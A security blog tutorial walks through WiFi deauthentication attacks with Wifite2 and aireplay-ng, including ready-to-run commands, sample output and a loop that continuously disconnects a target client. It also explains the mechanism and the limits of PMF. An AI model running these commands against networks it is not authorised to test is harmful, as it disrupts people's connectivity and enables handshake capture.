Post

WiFi Deauth Attacks: Wifite2 and Beyond

Learn how to perform WiFi deauthentication attacks using Kali Linux, Wifite2, and other tools. Understand the underlying mechanisms and how newer WiFi standards attempt to mitigate these attacks.

WiFi Deauth Attacks: Wifite2 and Beyond

Let’s dive into the slightly naughty world of WiFi deauthentication attacks. We’re not advocating for kicking your neighbor off their Netflix binge (though, tempting, sometimes…), but understanding how these attacks work is crucial for network security, penetration testing, and, well, general tech mischief. This is skiddie.life, after all – learning by doing (and occasionally breaking). We’ll be using Kali Linux, so make sure you have a recent version (2024.x or later) installed and ready to roll. You’ll also need a compatible USB WiFi adapter capable of monitor mode and packet injection.

The Deauth Lowdown: What’s Actually Happening?

At its core, a deauthentication attack exploits a fundamental part of the 802.11 WiFi protocol. When a device connects to a WiFi network, it’s constantly communicating with the access point (AP – your router). This communication includes “management frames,” which handle things like association, disassociation, and, you guessed it, deauthentication.

A deauthentication frame is essentially a polite “goodbye” message from either the AP or the client device. It’s supposed to be used when a device wants to disconnect gracefully. The problem? These frames are often unauthenticated. This means an attacker can spoof a deauthentication frame, pretending to be either the AP or the client, and force a disconnect.

Think of it like forging a resignation letter. You’re not the employee, but you write a letter that looks like it’s from them, telling the boss they quit. The boss (the AP) believes it and cuts them off.

Tools of the Trade: Kali and Your WiFi Adapter

First, the hardware. You need a WiFi adapter that supports:

  • Monitor Mode: This lets your adapter passively listen to all WiFi traffic in the area, not just the networks you’re connected to.
  • Packet Injection: This allows you to craft and send your own WiFi packets, including those forged deauthentication frames.

Popular choices include adapters based on chipsets like the Atheros AR9271, Ralink RT3070, and some Realtek chips. Do your research – chipset compatibility can change with driver updates, so check the latest Kali documentation and forums. “Alfa” brand adapters are often a good starting point.

Next, Kali. We’re assuming you have it installed. If not, go get it. It’s the de facto standard for this kind of work. Make sure your system is updated:

1
sudo apt update && sudo apt full-upgrade -y

Wifite2: The Deauth Swiss Army Knife

Wifite2 is our weapon of choice for its simplicity and power. It automates many of the steps involved in WiFi auditing, including deauthentication attacks. It should be pre-installed on Kali, but if not:

1
sudo apt install wifite

Here’s how to use it:

  1. Put your adapter into monitor mode:

    First, find your wireless interface name. Often it’s wlan0 or wlan1, but confirm with:

    1
    
    iwconfig
    

    It might show as “unassociated”, or it may be connected to a wireless network. it must be unassociated to continue. disconnect if needed.

    Then, put the interface into monitor mode, replacing wlan1 with your actual interface name. note, the interface name will change:

    1
    
    sudo airmon-ng start wlan1
    

    This will likely create a new monitor-mode interface, often named something like wlan1mon or mon0. Use this new interface name in the following steps. note the new interface name.

  2. Run Wifite2:

    1
    
    sudo wifite --iface wlan1mon # Replace wlan1mon with your monitor interface
    

    Wifite2 will start scanning for nearby WiFi networks.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    
     .               .
     | `.            |            .' |
     |   `.        .'   `.    .'   | |
     |     `.    .'       `.    .' | |
     |       `.        .' `.       | |
    _|         `.    .'     `.     | |
    /             `.        .' `.  | |
    \  .'  / `.    .'          `. | |
     \/    \  `.        /  `.   \| |
      `     `--'        `--'      `-'
       `-----'    w  i  f  i  t  e    `-----'
      version: 2.7.3     (C) derv82 / Kimocoder
                interface: wlan1mon
              mac address: 00:c0:ca:98:7f:6c
                 driver: rtl8812au
                chipset: Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter
    [+] enabling monitor mode on wlan1mon...
    [+] scanning...
    
     NUM                      ESSID  ENCR  POWER  CH  BSSID
    -----  -------------------------  ----  -----  --  ------------------
       1   MyWiFi                      WPA2  78     11  AA:BB:CC:DD:EE:FF
       2   SomeOtherNetwork            WPA2  62     1   11:22:33:44:55:66
       3   HiddenNetwork               WPA2  55     6   AA:22:CC:44:EE:66
    
  3. Select your target(s):

    Wifite2 displays a list of found networks. Use Ctrl+C to stop the scan when you see your target. You can select a single network by entering its number, or multiple networks by separating numbers with commas (e.g., 1,3). Or, target all WPA/WPA2 networks with all.

  4. Launch the attack:

    Wifite2 will automatically attempt various attacks, including deauthentication. It will cycle through connected clients and send deauth packets. You’ll see output indicating the attack’s progress.

    1
    2
    3
    4
    5
    6
    
    [+] targeting AA:BB:CC:DD:EE:FF (MyWiFi) on channel 11
    [+] attacking AA:BB:CC:DD:EE:FF with deauth (1/5)...
    [+] sending 64 deauth packets to AA:BB:CC:DD:EE:FF...
    [+] attacking 11:22:33:44:55:66 (SomeOtherNetwork) on channel 1
    [+] attacking 11:22:33:44:55:66 with deauth (1/5)...
    [+] sending 64 deauth packets to 11:22:33:44:55:66...
    

    Wifite2 also tries to capture the WPA/WPA2 handshake (if applicable), which is useful for cracking the password offline. That is outside the scope of a simple deauth, so we will not discuss it here.

Aircrack-ng Suite: The Manual Approach

Wifite2 is great, but understanding the underlying tools gives you more control. The aircrack-ng suite is the granddaddy of WiFi hacking tools. Here’s how to perform a deauth attack using aireplay-ng:

  1. Monitor Mode (again): Make sure your adapter is in monitor mode, as described above.

  2. Start airodump-ng to find your target:

    1
    
    sudo airodump-ng wlan1mon # Replace wlan1mon
    

    This will display a list of nearby networks, similar to Wifite2. Note the BSSID (MAC address) of your target AP and the channel it’s on. Also, look for associated clients in the bottom section of the output. You can target the AP directly, or a specific client connected to it.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    CH 11 ][ Elapsed: 1 min ][ 2023-10-27 10:00
    
     BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
    
     AA:BB:CC:DD:EE:FF  -45      123       45    0  11  54e  WPA2 CCMP   PSK  MyWiFi
     11:22:33:44:55:66  -60       87       22    0   1  54e  WPA2 CCMP   PSK  SomeOtherNetwork
    
     BSSID              STATION            PWR   Rate    Lost    Frames  Probe
    
     AA:BB:CC:DD:EE:FF  00:11:22:33:44:55  -55    0 - 1      0       10  MyWiFi
    
  3. Launch the deauthentication attack with aireplay-ng:

    1
    
    sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 wlan1mon
    
    • -0 1: Sends 1 deauthentication packet. You can increase this number for a more sustained attack.
    • -a AA:BB:CC:DD:EE:FF: The BSSID of the target AP.
    • -c 00:11:22:33:44:55: The MAC address of a client connected to the AP. If you omit this, the deauth will be sent to the broadcast address (all clients).
    • wlan1mon: Your monitor mode interface.

    You can keep sending deauth packets to continuously kick devices off. A more “persistent” approach would be to use a small loop:

    1
    
    while true; do sudo aireplay-ng -0 1 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 wlan1mon; sleep 1; done
    

    This will send one deauth packet every second until you stop it with Ctrl+C.

WiFi 6 and WiFi 7: The Party Poopers

Newer WiFi standards, specifically WPA3 (which is often, but not always, found with WiFi 6) and WiFi 7, attempt to mitigate deauthentication attacks. They do this by implementing Protected Management Frames (PMF), also known as 802.11w.

  • Protected Management Frames (PMF): PMF encrypts those previously unauthenticated management frames, including deauthentication frames. This makes it much harder for an attacker to forge them.

However… (and this is a big however):

  • PMF is often optional: While WPA3 requires PMF, many devices and routers still allow connections without it for compatibility reasons. If a client or AP doesn’t support or enforce PMF, the attack still works.
  • Mixed-mode networks: Many networks operate in a “mixed mode,” supporting both WPA2 and WPA3. Older devices that only support WPA2 will still be vulnerable.
  • Vulnerabilities exist: Like any security protocol, PMF isn’t perfect. Researchers have found potential vulnerabilities and bypasses. It’s an ongoing arms race.
  • WiFi 7: While it builds on WPA3 and PMF, providing better protection, the same caveats about optional settings and mixed-mode networks apply. It’s not a silver bullet. The real-world implication is that while newer standards reduce the effectiveness of deauth attacks, they don’t eliminate them entirely, especially in environments with older devices or misconfigured networks.

The Ethics (and Legality)

Don’t be a jerk. Using deauthentication attacks on networks you don’t own or have permission to test is illegal in most places. This information is for educational and ethical hacking purposes only. Use it to learn, to test your own network security, and to understand the vulnerabilities that exist. Don’t disrupt other people’s WiFi, steal their data, or do anything else that could land you in trouble. Seriously.

This has been a crash course in WiFi deauthentication. There’s always more to learn – explore different tools, delve deeper into the 802.11 protocol, and stay updated on the latest security research. Happy (and ethical) hacking!

This post is licensed under CC BY 4.0 by the author.